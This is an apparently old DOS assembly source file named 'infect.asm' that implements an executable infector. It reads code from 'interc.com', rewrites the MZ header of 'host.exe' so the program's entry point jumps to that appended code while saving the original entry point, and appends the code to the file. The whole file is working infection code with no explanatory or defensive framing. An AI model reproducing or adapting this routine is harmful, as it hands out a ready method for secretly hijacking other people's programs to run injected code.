old/ASM/ExeAdds/infect.asm

.model small
.code
org 100h
start:
;------------- Interceptor -------------
        mov ax, 3d00h
        mov dx, offset _iname
        int 21h
        mov bx, ax

        mov ah, 3fh
        mov dx, offset buffer
        mov cx, 10000
        int 21h

        mov _isize, ax

        mov ah, 3eh
        int 21h
;------------- Interceptor -------------

;------------- Host --------------------
        mov ax, 3d02h
        mov dx, offset _hname
        int 21h
        mov bx, ax
        mov handle, ax

        mov ah, 3fh
        mov dx, offset header
        mov cx, 24
        int 21h
;------------- Host --------------------

;------------- Header ------------------
        mov ax, word ptr header + 22                    ; Old rCS1
        mov word ptr buffer + 5, ax                     ; Save
        mov ax, word ptr header + 20                    ; Old rIP1
        mov word ptr buffer + 3, ax                     ; Save

        mov ax, word ptr header + 4                     ; AX <= pagecnt
        dec ax
        shl ax, 9
        add ax, word ptr header + 2                     ; AX += partpg
 
        mov dx, ax                                      ; /  Size of 
        mov bx, word ptr header + 8                     ; |  Loadable
        shl bx, 4                                       ; |  Part
        sub dx, bx                                      ; \ ( DX: Our NEW rCS:[rIP] )

        mov bx, dx      
        shr bx, 4                                       ; BX = rCS2
        mov word ptr buffer + 9, bx
        mov word ptr header + 22, bx
        shl bx, 4
        sub dx, bx                                      ; DX = rIP2
        mov word ptr buffer + 7, dx
        mov word ptr header + 20, dx

        add ax, _isize
        mov bx, ax
        shr bx, 9
        inc bx                                          ; BX=new pgcnt
        mov word ptr header + 4, bx

        dec bx
        shl bx, 9
        sub ax, bx                                      ; AX = new partpg
        mov word ptr header + 2, ax                            
;------------- Header ------------------

;------------- Host --------------------
        mov ax, 4200h
        mov bx, handle
        xor cx, cx
        xor dx, dx
        int 21h

        mov ah, 40h
        mov cx, 24
        mov dx, offset header
        int 21h

        mov ax, 4202h
        xor cx, cx
        xor dx, dx
        int 21h

        mov ah, 40h
        mov cx, _isize
        mov dx, offset buffer
        int 21h

        mov ah, 3eh
        int 21h
;------------- Host --------------------

        mov ah, 4ch
        int 21h

_hname          db 'host.exe',0
_iname          db 'interc.com',0
handle          dw ?
header          db 24 dup (1)
_isize          dw ?
rCS2            dw ?
rIP2            dw ?
buffer          db 10000 dup (?)
end start